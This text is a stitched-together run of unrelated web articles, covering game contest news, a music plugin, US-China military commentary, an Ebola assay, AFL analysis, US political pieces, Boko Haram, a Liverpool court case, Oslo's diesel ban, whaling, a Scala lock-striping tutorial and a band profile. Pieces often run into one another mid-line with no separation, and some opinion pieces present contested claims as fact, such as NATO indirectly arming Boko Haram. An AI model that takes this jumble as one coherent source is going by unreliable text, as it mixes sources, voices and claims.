Thursday.Blocks That Matter about which we have written plenty of times has won Microsoft's Dream.Build.Play 2011 competition with grand prize of $ 40,000.
Innovative Linux Gameabout which we have written plenty of times has woncompetition with grand prize of $ 40,000.
About Dream.Build.Play 2011
Dream.Build.Play is an annual contest organized by Microsoft where Games developed for Microsoft's XNA Studio 4.0 or XBOX 360 compete with each other for Grand Prize.
Tough Competition
Blocks That Matter was selected from a pool of more than 250 entrants from 27 countries.
Linux Friendly Developers
The game developers have been really friendly to the Linux community and has already released couple of tech demos for the Linux users for user feedback and testing. Once all the remaining issues and bugs are ironed out the game will be released. Lead developer Guillaume also said that they have not forgotten Linux users at all and will release it most probably in this week only, its just that they have too many things on their hands now and little time.
Though the competition awards games made for XBOX or Windows platforms, it does not really matter here as this really gives the developers their due recognition, fame and money too.
Many Congratulations to the developers!!!You never need to read about Chad Kroeger and co again...
A music blog has launched a new plugin called ‘Nickelblock’ to eliminate all mentions of Nickelback from web browsers.
Those who download the free service from Aux.com can eliminate all traces of Chad Kroeger and co when they’re surfing the internet.
Despite enjoying a 15-year-career that has spawned seven studio albums, Nickelback have often found themselves the recipients of derision by music lovers. A survey carried out by dating site Tastebuds.fm showed that the Canadian arena rockers were considered the biggest musical turnoff. They picked up 13% of the vote and beat the likes of Coldplay and Lady Gaga to the top spot.
Earlier this month, meanwhile, angry American football fans started an online petition to stop the band from performing at a halftime Thanksgiving show. Over 50,000 supporters of the Detroit Lions signed the petition, in the hope that Nickelback would be axed from the halftime show of their fixture against the Green Bay Packers.
Nickelback released their seventh studio album, ‘Here And Now’, earlier this week (November 21). Talking about the LP, Kroeger said: “We entered the studio this year with a vision, and it all came together. We’re extremely happy with the results, and can’t wait to share them with our fans.”
The LP, which is the follow-up to their 2008 effort ‘Dark Horse’, was previously streaming for free on iTunes. Should you be able to stand it, you can watch the video for Nickelback’s current single ‘When We Stand Together’ below.The Pentagon will begin flying surveillance drones off the coastlines of Japan, China and Taiwan, an agreement reached after talks between Defense Secretary Leon Panetta and Japanese Defense Minister Satoshi Morimoto at the Pentagon on Sunday.
The unmanned aerial missions will focus on a Pacific island chain called the Diaoyutai Islands, which have become the focal point of a simmering territorial dispute between China and Japan. Even Sen. John McCain, one of the biggest hawks in Congress, called the deployment “unnecessarily provocative.”
In keeping with the Obama administration’s antagonistic military postures towards China, the US has backed various neighboring countries from Japan to the Philippines. And it’s no surprise drones have taken a larger role in what the Pentagon plans to make a new military theater of Air-Sea Battle.
New war strategies called “Air-Sea Battle” reveal Washington’s broader goals in the region and illustrate how a war with China – which the US apparently yearns for – would play out.
“Stealthy American bombers and submarines would knock out China’s long-range surveillance radar and precision missile systems located deep inside the country,” reports theWashington Post. ”The initial ‘blinding campaign’ would be followed by a larger air and naval assault.”
The Obama administration has been ramping up the pressure on China with an increasingly antagonistic foreign policy. The so-called ‘Asia pivot’ is an aggressive policy that involves surging American military presence throughout the region – in the Philippines, Japan, Australia, Guam, South Korea, Singapore, etc. – in an unprovoked scheme to contain rising Chinese economic and military influence.
Chinese officials have not appreciated this unprovoked bellicosity. In May the Chinese Defense Ministry accused the Pentagon of hyping a Chinese military threat out of thin air. Others have said these Pentagon moves could start an arms race.
“If the U.S. military develops Air-Sea Battle to deal with the [People’s Liberation Army], the PLA will be forced to develop anti-Air-Sea Battle,” one officer, Col. Gaoyue Fan, said last year in a debate sponsored by the Center for Strategic and International Studies, a defense think tank.
A recent report from the Center for Strategic International Studies predicted that next year “could see a shift in Chinese foreign policy based on the new leadership’s judgment that it must respond to a US strategy that seeks to prevent China’s reemergence as a great power.”
“Signs of a potential harsh reaction are already detectable,” the report said. “The US Asia pivot has triggered an outpouring of anti-American sentiment in China that will increase pressure on China’s incoming leadership to stand up to the United States. Nationalistic voices are calling for military countermeasures to the bolstering of America’s military posture in the region and the new US defense strategic guidelines.”
Last 5 posts by John GlaserCurrent methods of Ebola detection utilize enzyme-linked immunosorbent assay ("ELISA") detection kits which cost approximately $1,000 each, require complex instrumentation, trained medical professionals to administer, and up to 12 hours from testing to diagnosis. The kits require the unbroken refrigeration of reagents from point of manufacture to point of use (the "cold chain"), making the ability to diagnose in remote areas, where refrigeration is often nonexistent or unreliable, highly problematic if not impossible. Uninterrupted refrigeration requirements and lengthy time to confirm diagnosis are particularly challenging in situations such as airports, travel check points and triage situations, where rapid diagnosis is essential in effectively treating, containing and ultimately eradicating the spread of the deadly virus, and other similar infectious and highly contagious diseases. The temperature-controlled supply line, or “cold chain,” is critical in order to prevent reagents from becoming chemically inert, an irreversible process which destroys their effectiveness. However large areas of the world lack sufficient infrastructure and adequate resources (e.g. electricity, refrigerated trucks and reliable on site refrigeration) to maintain the cold chain. It is estimated with early diagnosis and medical treatment, Ebola fatality rates of up to 90% would decline by approximately 50%.
The epicenter of the current 2014 outbreak has been in the West African countries of Liberia, Guinea and Sierra Leone whose sparse medical infrastructure, belief system and cultural norms around burial customs have sparked an unprecedented global health crisis. Ebola has spread across the world for the first time, fueling fears of a pandemic and concerns that the disease could genetically mutate and eventually become airborne. As of May, 2015 the CDC estimates in excess of 11,000 fatalities, forty times greater than the second most deadly outbreak in 1976 in Zaire in the first documented incidence of the virus with 280 fatalities. Early diagnosis is essential to containing the rate of infection and the spread of the disease; according to the CDC, in late 2014 cases in Liberia were doubling every 15 days, and every 30 days in Sierra Leone. It can take up to 21 days for a person infected with the Ebola virus to develop symptoms, at which point they become increasingly contagious with a diminished chance of survival, as the virus becomes more virulent the longer the incubation period prior to diagnosis, intervention and treatment.
My research developed a "stable and stored at room temperature" Ebola Assay Card (EAC), readily applicable in detection of diseases such as HIV, Lyme, Yellow/Dengue Fevers and certain cancers, building on the proven stabilizing properties of silk fibroin, that will allow for water-activated detection of Ebola antigens, with detection limits that are analogous to current sandwich ELISA techniques. This EAC will allow for shipment and storage on site without refrigeration, and provide detection based on color change in less than 30 minutes of Ebola viral antigens in individuals when they are still asymptomatic and/or in less advanced stages of the virus, when the severity of transmission is less acute and the likelihood of recovery is highest.Port Adelaide are keen to cause bounces, but awful at winning them
Usually a team with a dominant ruckman is somewhat keen to get them involved. With a dominant ruckman, a team can get first use of the ball and go back on the attack. So it stands to reason that the worst teams in terms of hitouts usually try to avoid the umpire’s intervention.
Since Matthew Lobbe was dropped and subsequently injured, Port have been horrific in the ruck. Going from winning hitouts at roughly a league average rate with Lobbe, they are now the worst in the competition with respect to hitout ratio:
Dougal Howard, their first choice ruckman for the last two weeks, has been dropped this week, with part-timer Jackson Trengove leading a hodgepodge attack with Charlie Dixon and Justin Westhoff. So far this year those three have combined for 31 hitouts, or only eight more than Brisbane ruckman Stef Martin gets per game. One can only think that this will end badly if Port keeps tying up the ball.
Thing about Melbourne is, they always try and walk it in
As pointed out by several people during the week, Melbourne’s scoring shot conversion rate/accuracy is off the charts this year. Right now they convert 66% of all scoring shots, which would be the highest conversion rate this millennium, and by a considerable margin. According to the Footy Live app (which is free, and we aren’t affiliated with), they convert an extremely high number of goals from the goal square (hence the “walking it in”). Right now Fremantle have had 130 scoring shots (excluding rushed behinds), and Melbourne have had 129, yet Melbourne have scored 174 more points from those shots.
Melbourne have also shown the patience to pass up more borderline attempts at goal for chances that have a higher point return, even if they aren’t a direct shot themselves. They are also lucky in the fact that their two KPFs are relatively accurate shots at goal from distance (Hogan and Watts, despite the opinions of a certain former Melbourne forward of the 90s) and a creative forward that can manufacture goals from almost anywhere (Garlett).
Melbourne are seemingly sacrificing shots for certainties, a strategy that almost always can’t be upheld in the long run. It’ll be interesting to see if they can manage to do so this year, and if it leads to success.
Let’s talk about GWS
(Warning – This piece is long. Please skip if you don’t care about GWS and/or are Eddie McGuire. TL;DR potential here. Don’t say we didn’t warn you. This is also Hot Take of the Week)
She deleted the tweet but Emma Quayle probably had the right of it here:
There’s been two elements to the hysterical overreaction to GWS being quite good now:
They had too many startup concessions
Their ability to get (market rate first-refusal) access to players from the Riverina area of NSW will perpetuate that dominance forever
We don’t think either of these are anywhere near the concern or injustice being claimed.
First, let’s look at the startup concessions through the lens of the team GWS fielded in their demolition of Hawthorn. This is the 22 players they fielded, and how they were acquired:
Patton, Jonathon 2011 draft, pick 1 Coniglio, Stephen 2011 draft, pick 2 Buntine, Matt 2011 draft, pick 5 Haynes, Nick 2011 draft, pick 7 Greene, Toby 2011 draft, pick 11 Cameron, Jeremy 2011 Prelisted 17 year old Shiel, Dylan 2011 Prelisted 17 year old Wilson, Nathan 2011 Prelisted 17 year old Kennedy, Adam Preselected in 2011 (had previously nominated and gone undrafted) Davis, Phil 2011 Uncontracted player signing Palmer, Rhys 2011 Uncontracted player signing Scully, Tom 2011 Uncontracted player signing Ward, Callan 2011 Uncontracted player signing Williams, Zac 2012 zone pick from Riverina (before zone picks gave away to Academy bidding) Whitfield, Lachie 2012 draft, pick 1 (earned by sucking) Kelly, Josh 2013 draft, pick 2 (obtained via Tyson trade who was Pick 3 in 2011) Lobb, Rory 2013 draft, pick 29 (acquired via pick shuffling in Polec trade) Steele, Jack 2014 draft, pick 24 (GWS Academy, from Canberra) Johnson, Steve Traded for nothing (de facto DFA) Patfull, Joel Traded for pick 21 (which was originally the Brennan compo pick to GC and changed hands several times) Mumford, Shane Traded for pick 35 Shaw, Heath Traded for Taylor Adams (who was pick 13, 2011 draft)
GWS only have 17 first round picks that they drafted on their list. One of those is Cam McCarthy, who looks unlikely to play for GWS again at this point in time.
The bolded players, 14 of 22, were acquired during GWS’ extremely astute use of nearly the same concessions entry year Gold Coast also got:
Picks 1,2,3, 5, 7, 9, 11, 13, and 15 in their first draft.
The ability to pull 17 year olds born in January-April out of this same draft pool a year earlier.
The ability to sign uncontracted players
The ability to sign or trade draft prospects who had previously nominated and gone undrafted
Zone picks from the NT and the Giants’ share of NSW
Unlike Gold Coast, GWS had mini draft picks to trade (O’Meara and Crouch) which netted them picks 4 and 10 as well
These were all very useful concessions, but the key thing to note is that for GWS to nail most of their draft picks was a massive win for them. They left Wingard, Longer and Docherty on the table among the early picks and two of those guys have since been traded for less than what they were drafted with. GWS also turned their high profile departures into wins (Tyson became Kelly, Adams became Heath Shaw, Boyd became Griffen).
GWS also certainly were lucky that the whole first round looks like it was a strong draft at this stage (especially considering that Treloar, Cameron, Shiel and Wilson were also in this pool). The first true miss might be Josh Bootsma at pick 22.
Cameron and Shiel also turned out better than any of Gold Coast’s prelist 17-year-olds (Matera, McKenzie, Nicholls) although the Suns made better use of their zone to produce Thompson and several tall players who are now at other clubs (Dixon, Hickey and Smith)
In addition, getting their uncontracted player signings (Ward, Davis, Palmer, Scully) right really sets them apart from the Suns as soon as we remember that Campbell Brown was arrested for assaulting teammates and/or drunkenly disgracing himself in three different countries.
To sum up, GWS assembled the core of their team in year one, managed their exiting players very well and have also supplemented themselves very effectively with subsequent general draft picks and signing of older players from other clubs.
They used their entry concessions extremely well but we also question whether the level of concession is excessive for a startup side. It’s certainly not unprecedented. Consider that West Coast and Adelaide had untrammelled access to an entire state’s talent in an era when the draft was a crapshoot and Victoria’s metropolitan area was still zoned. Such access netted the expansion sides four out of ten flags in the 1990s and has to be considered fairly generous in its own right. Port Adelaide also won a flag with heavy influence by players acquired from their entry concessions.
And as for the academy
GWS get access, via their Academy development program, to first-refusal rights to players from a productive football area called the Riverina, but actually encompassing areas usually referred to separately as Murray and Riverina. Maps vary but we’re talking about roughly the two areas of Murray and Riverina depicted here:
It’s mostly a core AFL area, although Wagga Wagga and north and east of there are pretty mixed or starting to become Rugby League predominant. There’s maybe 250,000 people in the entire region, so it’s half the size of Tasmania, and it has produced a steady trickle of talent over the years including the Danihers, Wayne Carey, Paul Kelly, Dennis Carroll, John Longmire, Leo Barry, Shane Crawford, Brett Kirk, and Sam Rowe.
People are probably right to be concerned about the level of talent being accessed here but we want to emphasise something that’s been lost in the debate – the opportunity cost of obtaining this talent in a draft system, and how GWS’ ability to exploit this year’s talent is directly linked to how well they used their startup decisions to stockpile surplus talent.
GWS’ successful drafting and recruiting has left them such a surplus of talent that that they were never going to keep it all. As such, GWS have been steadily dispensing it back to the rest of the league. They’ve been conducting what we called in 2014 a “fire sale” to convert that stockpile into useful goods. They’ve been trading many players less than fair value, and there are now an entire team worth of former Giants at other clubs. It’ll keep happening too, as we note that even whingers-in-chief Collingwood are openly discussing who they can get. This is right and natural.
The rationale is simple – as much as GWS started with, they can’t put more than 22 players on the park at one time, they can only pay so many players highly under a salary cap, there’s only 4400 games a year to play at a club.
This year there is by all reports a huge glut of players available to GWS through their academy from the Riverina area. Some are claiming there’s five top-30 calibre picks there at this early stage.
But under the academy bidding system, GWS have to pay for all the players they acquire, by matching bids and paying market value on a points system the AFL and clubs have backed as sound. It won’t be cheap, they’ll have to match whatever any other club is willing to pay for players and given the level of complaining, we assume these clubs have a strong interest in these players.
What it does mean is GWS are playing a
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Senate by running a nationwide campaign against Obama. But in his State of the Union address on Jan. 20, the president held out an olive branch. There isn’t “a liberal America or a conservative America,” he argued. There’s only “a United States of America.” He acknowledged that pundits considered his bipartisan optimism naïve. But he concluded, “I still believe that we are one people.”
Republicans responded with derision. When Obama said, “I have no more campaigns to run,” they applauded mockingly. He poked them right back, with a wink: “I know, ’cause I won both of them.” But then he turned the other cheek: “I hope you’ll at least work with me where you do agree. And I commit to every Republican here tonight that I will not only seek out your ideas, I will seek to work with you to make this country stronger.”
The next day, Obama gave a shout-out to the former Republican lieutenant governor of Illinois, which, he noted, was the home of the first Republican president. At a speech in Kansas, Obama pleaded for unity: “Whoever we are—Republican, Democrat … we all share a common vision for our future.” In a Jan. 23 interview with Vox, Obama praised the Republican governors of Alaska, Michigan, and Ohio.
On Feb. 1, Obama was asked in an NBC interview about the mockery of him during the State of the Union. He shrugged it off as good-natured “ribbing” and changed the subject: “What I want us to focus on is the areas we have in common.” The next day, he sent his budget proposal to Congress. Republicans, determined to block his immigration agenda, were withholding money for the Department of Homeland Security. But Obama said these saboteurs didn’t represent the true GOP: “A large percentage of Republicans agree that we need comprehensive immigration reform.” Instead of using the fight for partisan advantage, Obama spread the blame to his own party. “Republicans and Democrats in Congress should not be playing politics” with the department’s funding, he warned.
On Feb. 6, Obama went to Indiana and lauded Dick Lugar, the state’s former Republican senator. The next day, in his weekly radio address, he repeated: “I’ll work with anyone, Republican or Democrat, who wants to get to ‘yes.’ … We should stop refighting old battles and start working together.” Even last Friday, in his speech to the Democratic National Committee, five of Obama’s nine references to Republicans were positive. “If Republicans are serious about taking on the specific challenges that face the middle class,” he pleaded, “we should welcome them.”
That’s how Obama treats his domestic adversaries. He doesn’t take the bait. He doesn’t define the whole opposition party by its worst elements. He rejects polarization. He emphasizes shared values. He reminds his own partisans that they, too, are sinners.
For Democrats, this can be exasperating. It’s especially exasperating when Republicans refuse to take responsibility for, or even disown, outbursts from their colleagues, such as Rep. Joe Wilson’s “You lie!” or Rudy Giuliani’s “I do not believe that the president loves America.” Rep. Darrell Issa, who as chairman of the House oversight committee has led investigations of the Obama administration, claims Giuliani didn’t deny that Obama loves America—“He said he didn’t believe” Obama loves America. Gov. Bobby Jindal of Louisiana, a 2016 presidential hopeful, says of Giuliani’s remark: “If you are looking for someone to condemn the mayor, look elsewhere.” Gov. Mike Pence of Indiana backs up Giuliani’s insinuation that Obama favors the enemy over his own country: “[Giuliani] is understandably frustrated with a president who, as I said before, is fully willing to lecture the people of this country about the Crusades but is unwilling to call Islamic extremism for what it is.”
Please. If we’re going to start calling out religious and political groups for extremism, we could start at home with Republicans. Too many of them spew animus. Too many foment sectarianism. Too many sit by, or make excuses, as others appeal to tribalism. If Obama were to treat them the way they say he should treat Islam—holding the entire faith accountable for its ugliest followers—they’d squeal nonstop about slander and demagogy. They’re lucky that’s not his style.
Also in Slate:Elizabeth Warren Probably Won’t Be Hillary Clinton’s VP Pick
Her speech is scheduled for the first night of the Democratic convention.
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Sen. Elizabeth Warren probably isn’t going to be Hillary Clinton’s running mate, if you put much stock in scheduling.
The Massachusetts senator is slated to speak in primetime on the first night of the Democratic National Convention in Philadelphia. Running mates, on the other hand, typically speak later on in the festivities.
Still, there’s hope. Party officials with close knowledge of the selection process say the former Secretary of State has yet to make a decision, the New York Times reports. Those who received invitations to speech at the convention were reportedly told that time slots are subject to change, based on who is picked for VP. If Warren gets the nod, organizers will simply reschedule.
Though Warren has met with the Washington lawyer heading Clinton’s vetting process and submitted the necessary paperwork, those close to her are reportedly skeptical that the progressive Democrat will join the ticket. Sen. Tim Kaine of Virginia remains the favorite, and Clinton has met or will soon meet with Sen. Cory Booker of New Jersey, Congressman Xavier Becerra of California, cabinet officials Julian Castro and Tom Perez, and James G. Stavridis, a retired four-star Navy admiral.
Warren has relished her role as the Democratic Party’s attack dog in the fight against presumptive Republican presidential nominee Donald Trump, engaging in late-night tweetstorms, vituperative Facebook rants, and warmly received public appearances alongside Clinton, in which she called the real estate mogul a “small, insecure money grubber.”Matt Bevin at Values Voters Summit (Photo: Screen capture)
Kentucky Governor Matt Bevin may be calling for a violent uprising if Democratic candidate Hillary Clinton is elected in November.
After being elected following his unwavering support for anti-equality crusader Kim Davis, Bevin received the Distinguished Christian Statesman award from the D. James Kennedy Center for Christian Statesmanship on Friday night at the Values Voters Summit. But it was his Saturday speech that is raising eyebrows. Bevin told the ultra-right audience that he thinks America is at a crossroads.
“We don’t have multiple options,” he warned. “We’re going one way or we’re going the other way, politically, spiritually, morally, economically, from a liberty standpoint. We’re going one way or we’re going the other way.”
He continued by telling a story about confronting a professor while he was in college after he claimed the professor mocked Christianity, which he said liberals are known to do frequently.
“They try to silence us,” Bevin said. “They try to get us to shut our mouths. They try to embarrass us. Don’t be embarrassed. We were not redeemed to have a spirit of timidity.” He tried to inspire young people, “Be bold. There’s enough Neville Chamberlains in the world. Be a Winston Churchill…There are quite enough sheep already. Be a shepherd.”
Bevin believes that America’s freedom has been “purchased at an extraordinary price,” citing the lives of a half million Americans who have died in uniform. “America is worth fighting for. America is worth fighting for, ideologically.”
He encouraged the audience to fight in every possibly way so that they aren’t forced “to do it physically.” However, he argues that it may come to the shedding of blood.
“I will tell you this: I do think it would be possible, but at what price?” he said, after being asked if he thought America would survive Clinton. “At what price? The roots of the tree of liberty are watered by what? The blood, of who? The tyrants to be sure, but who else? The patriots.”
He continued wondering whose blood will be shed in this possible physical confrontation. “It may be that of those in this room. It might be that of our children and grandchildren. I have nine children. It breaks my heart to think that it might be their blood that is needed to redeem something, to reclaim something, that we through our apathy and our indifference have given away.”
Check out the full video below via RightWingWatch.org:Nigeria is the 13th largest oil producer in the world.
The establishment media has yet to report on a deadly attack in Gamborou Ngala in the Borno State. According to a report posted today by Vanguard, a Nigerian newspaper, the jihadist terror group Boko Haram stormed the town and killed around 300 people.
Boko Haram’s official name is Jama’atu Ahlis Sunna Lidda’awati wal-Jihad, which translated from the Arabic means “People Committed to the Propagation of the Prophet’s Teachings and Jihad.” The group is a Takfiri offshoot of the Salafi movement. Salafi-Takfiris attack other Muslims and Christians they consider apostates. Boko Haram has worked to impose sharia law in Nigeria, north Cameroon and Niger. It has killed Christians, bombed churches, attacked schools, police stations,government installations, and has kidnapped western tourists.
Prior to the attack, the establishment media covered an announcement on Monday issued by the Obama administration stating the United States will send military, intelligence and law enforcement advisors to Nigeria to help the government there locate and rescue more than 270 teenage girls abducted by Boko Haram.
According to the Los Angeles Times, the team will not be used for military purposes and will share intelligence investigative services in the search for the students kidnapped April 14 from a rural high school in Nigeria’s predominately Muslim northeast. Obama said the abductions may “mobilize the entire international community to finally do something against this horrendous organization.” In October 2013, the U.S. designated Boko Haram a terrorist group.
In 2012, Obama invoked the War Powers Resolution to increase the number of U.S. military personnel deployed to Nigeria. The incoming Commander of the U. S. Africa Command (Africom) at the time, Gen. David M. Rodriguez, said Boko Haram operations threatened Nigeria, Cameroon, Niger, Mali and Chad. Rodriguez said the U.S. has the authority in Africa in response to the threat posed by al-Qaeda.
In 2012, The Nigerian Tribune reported Boko Harm’s funding was traced to the United Kingdom and Saudi Arabia, specifically from the Al-Muntada Trust Fund. In 2005, The Center for Security Policystated “Al-Muntada has, incidentally, been particularly active in promoting Wahhabi-style Islamism in Nigeria… Al-Muntada… pays for Nigerian clerics to be ‘brainwashed’ in Saudi universities and imposed on Nigerian Muslims through its well-funded network of mosques and schools.”
Similar schools, known as madrassas, were established in Pakistan during the CIA’s covert war against the Soviet Union in Afghanistan. They were financed by Saudi Arabia and its network of charities. “Between 1982 and 1992, some 35,000 Muslim radicals from 43 Islamic countries in the Middle East, North and East Africa, Central Asia and the Far East would pass their baptism under fire with the Afghan mujahideen,” writes Phil Gasper. The Afghan mujahideen would ultimately produce al-Qaeda and the Taliban.
In addition to support by the Saudis, Boko Haram has received indirect assistance from NATO via Libya’s al-Qaeda mercenaries. “During an interview conducted by Al-Jazeera with Abu Mousab Abdel Wadoud, the AQIM leader states that Algeria-based organizations have provided arms to Nigeria’s Boko Haram movement ‘to defend Muslims in Nigeria and stop the advance of a minority of Crusaders.’ It remains highly documented that members of Al-Qaeda (AQIM) and the Libyan Islamic Fighting Group (LIFG) who fought among the Libyan rebels directly received arms and logistical support from NATO bloc countries during the Libyan conflict in 2011,” writes Nile Bowie.
AQIM and Boko Haram, however, pose less of a threat in Africa than China does. “The US and France plan to counter the threat along with Africa’s puppet government’s that will pose a challenge to China’s economic and diplomatic influence in the region,” writes Timothy Alexander Guzman.
Nigeria is the 13th largest oil producer in the world. The western Africa nation’s other natural resources include natural gas, tin, iron ore, coal, limestone, niobium, lead, zinc and arable land.
“The US and French governments want to assure themselves that the new Chinese leadership will not continue its beneficial relationships with resource-rich African nations that have been a success in the past. Therefore, the ‘War on Terror’ will create instability and will disrupt China’s economic growth. AFRICOM mission is to create war in the name of fighting terrorism and that is what ‘US national security interests’ in Africa is really about.”
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This shocking video shows the moment a dad rams two youths off a scooter before a masked man fires a shotgun over their heads.
Paul O’Neill claimed his family were threatened by yobs after his son’s scooter was stolen and he reported it to the police.
Liverpool Crown Court heard the 50-year-old recruited an unidentified gunman and set off in his Audi after two young males.
The dad-of-two deliberately knocked them off the vehicle in Kingsheath Avenue, Knotty Ash at around 2.30pm on August 20 last year.
His accomplice jumped out and fired the gun over the youths’ heads – causing pellets to hit the wall of an unoccupied house.
Dashcam footage from a car parked in the residential street shows a white van approaching from the opposite direction.
Suddenly the two youths can be seen tumbling off a scooter as O’Neill’s Audi rams them out of a side road to the right.
The masked gunman – dressed all in black – gets out of the passenger door of the car and runs across the street.
Seconds later, a cloud of smoke and possible debris can be seen flying up in the air on the left hand side of the screen.
(Image: Handout)
The gunman runs back to the Audi, which then drives off. Afterwards, a resident emerges and a youth returns to the scooter.
The court heard he picked up the scooter and said to the shocked witness “sorry about that”, before calmly walking away.
Frank Dillon, prosecuting, said a direct hit could have been fatal and prosecutors believed the shooting was “to frighten rather than to maim”.
The concerned resident gave a description of the driver, which matched O’Neill, and noted the car’s number plate, registered to his address.
O’Neill claimed to have been the victim of a gunpoint carjacking by two men around an hour earlier in a web of lies told to police.
But officers examined CCTV footage, including a clip revealing that he then drove to a service station and withdrew cash from an ATM.
He then claimed to have been forced at gunpoint to ram the teens off the bike, before tearfully denying that the gunman was his son.
O’Neill, of Old Riding, Knotty Ash, admitted possessing a firearm with intent to cause fear of violence and dangerous driving.
Andrew Jebb, defending, said it was “unusual” that the mystery gunman wore a full disguise, but O’Neill did not conceal his identity.
He said it was the “culmination” of a series of events after his son’s scooter was stolen and police contacted.
Mr Jebb said: “Pressure was then brought to bear to ensure that no complaint was followed up and then these threats continued.”
He said O’Neill reached “the end of his tether” and made a “terrible decision” to accept the help of an armed acquaintance.
The lawyer said: “For him to snap in the way that he did and engage in this behaviour, there must have been a considerable stress upon him.”
Judge Robert Warnock jailed O’Neill for seven years, banned him from driving for six and a half years and made an order seizing his Audi.
He said: “It was a dangerous, reckless and wholly disproportionate response to the problems that you perceived you and your family were suffering.”From Tuesday it will be prohibited to run a diesel car on rural roads in Oslo due to acute hazardous air pollution. As it looks now, the ban will last until Thursday.
Cold weather and little wind is expected on Monday and Tuesday and there is likely to be high exhaust pollution over large areas of the city on these days.
Therefore Oslo will for the first time issue a ban on driving with diesel on municipal roads from at 6am until 10pm from Tuesday.
A violation of diesel ban will be punishable by a fee of 1,500 kroner, and both the police and the Public Roads Administration have the authority to enforce this.
Parts of Ring 1
The driving ban will be valid until the city environmental committe considers the urgent need to no longer be present. The state has adopted similar resolutions for parts of Ring 1.
– Acute high air pollution means that it can be a health hazard for children, the elderly and asthmatics to move outdoors. Diesel Prohibition is a radical measure, however, it is necessary to preserve the health of city residents, says Gerd Robsahm Kjørven, Acting Director of the Environment Department in Oslo.
Unstable weather conditions
As the forecasts show now, from Wednesday afternoon or evening there will become more stirring in air masses and the inversion is expected to be broken up, according to Oslo kommune.
From Thursday unstable weather conditions are expected with stirring in air mass, and it will most likely no longer be a risk of high NO2 pollution.
– We follow the weather situation closely. When rescinded it will be notified via their websites, social media and the press release, said the municipality.
Some exceptions
The ban applies to diesel-powered vehicles, but some exceptions have been made. The exceptions include emergency vehicles, plug-in hybrid-diesel vehicles, vehicles used in public service, patient transport, transit and vehicles used for commercial purposes and to document driving needs.
The state roads Ring 3, E6, E18, Highway 4 Trondheimsveien, Highway 163 East Aker road, Highway 190 Strømsveien and parts of Ring 1 are not covered by the ban. Ring 1 will be split as to where the ban applies.
Transportation to and from Oslo central station, Vippetangen and Hjortneskaia will still be possible, said Oslo kommune.
According to Luftkvalitet.no air pollution in Oslo was high on Sunday afternoon. The same applied to Drammen, Fredrikstad and Sarpsborg.
Source: NTB scanpix / Norway TodayMari Yamaguchi, The Associated Press
TOKYO -- An International Whaling Commission panel said Monday that Japan's revised plan for research whaling in the Antarctic still lacks a convincing explanation of why it needs to kill the mammals.
"The current proposal does not demonstrate the need for lethal sampling" to achieve Japan's stated objectives, said the expert panel, part of the IWC's scientific committee.
Japan said the goal of its plan is to obtain highly accurate data to determine sustainable minke catch quotas and study the ecology of the Antarctic.
Japanese fisheries officials responded to the panel's comments by saying they are open to revisions, but did not indicate to what extent.
Joji Morishita, Japan's commissioner to the IWC, said it would be best if Japan can convince the full scientific committee by providing additional data sought by the panel's report, but cautioned that it may not be easy. The full scientific committee is to meet in May.
"The scientific committee is more political than the panel," he said. "I won't be surprised if we face some countries that oppose our plans not because of science," Morishita said. "But we hope to work toward a resumption (of research whaling) at the end of the year."
Commercial whaling was banned by the whaling commission in 1986, but Japan has continued to kill whales under an exemption for scientific research. However, the International Court of Justice ruled last year that the hunts were not truly scientific.
Following the ruling, Japan submitted a revised plan last November for the upcoming Antarctic whaling season. It said it plans to catch 333 minke whales each year between 2015 and 2027, down from a 2005-2013 annual target of up to 1,035 whales -- 935 minke and 100 fin and humpback whales. A nonlethal expedition for the 2014 season recently returned from the Antarctic.
Japan's actual catch has fallen in recent years in part because of declining domestic demand for whale meat. Protests by the anti-whaling group Sea Shepherd also contributed to the lower catch. The government has spent large amounts of tax money to sustain whaling operations.Let’s say you have a set of keys, and you want to lock on a per-key level. A naive solution could look like this:
class LockManager[K] { private [ this ] val logger = getLogger val locks: Atomic[Map[K, Lock]] = Atomic (Map[K, Lock]()) def run[T](key: K)(fn: => T): T = { locks. getAndTransform { locksMap => locksMap. get (key) match { case Some(lock) => { lock. lock () locksMap } case None => locksMap + (key -> new ReentrantLock()) } } try { fn } finally { locks. getAndTransform { locksMap => locksMap. get (key) match { case Some(lock) => { lock. unlock () locksMap - key } case None => { logger. warn (s "Lock for ${key} suspiciously missing" ) locksMap // wtf?? this shoudnt happen } } } } } }
However, there’s quite a few things wrong with this:
It has the potential to use a LOT of memory. (if we have high key cardinality)
We need to lock BOTH the map AND the key lock. (If we had mutability a la ConcurrentHashMap, we could get around this, but that’d be un-Scala-like.)
, we could get around this, but that’d be un-Scala-like.) We keep creating keys and destroying keys. If we didn’t destroy keys and keys weren’t often reused, we’d OOM.
Code is inevitably messy due to all of the above.
The thing is, we usually don’t need all resources to be accessible simultaneously. People rarely do. Thus, we can create a locking system using the mod of a hash, similar to a hash table, where each “bucket” is simply a lock. This is also known as lock striping.
With this strategy in mind, we can rewrite the above class like so:
class LockManager[K](power: Int) { private [ this ] val logger = getLogger val locks: Vector[Lock] = Vector. fill [Lock]( 1 << power)( new ReentrantLock()) val modMask = locks. length - 1 def get (key: K): Lock = { locks (key. hashCode () & modMask) } def run[T](key: K)(fn: => T): T = { get (key). lock () try { fn } finally { get (key). unlock () } } }
Note that we’ve fixed quite a few problems:
We are fixed to a known amount of memory.
We don’t need to lock the list of locks, as we’re only performing reads. (Also Scala enforces immutability on Vector, yay!)
, yay!) We can “get” a lock, since locks are never deleted.
We allocate all of the locks upfront, so GC can’t screw us over. This also hugely simplifies our code.
The only downside to this is that each lock could possess multiple keys, though you can probably tweak the numbers to find something with a good balance of throughput and memory usage.
Further readingInfo for Homey
In the past seven years, CHON have gone from playing local shows in their hometown of San Diego to a spot on the Billboard 200 and tours with Animals As Leaders and Circa Survive. The easiest category to put CHON in would be “instrumental,” but that doesn’t do the band justice. On their debut full-length Grow, CHON incorporate prog rock and jazz with lightning quick picking, staccato drumming and buoyant melodies, creating a sound that’s fresh, exciting and wholly their own. (They even add vocals to a couple songs, “Can’t Wait” and “Echo.”) There are intricacies to the songs on Grow, but the band’s approach to writing music is simple and organic. “We have fun writing this kind of music,” says guitarist Mario Camarena. “We don’t take it too seriously; it’s just music we naturally write. I hope people who enjoy our stuff have fun listening to it.”
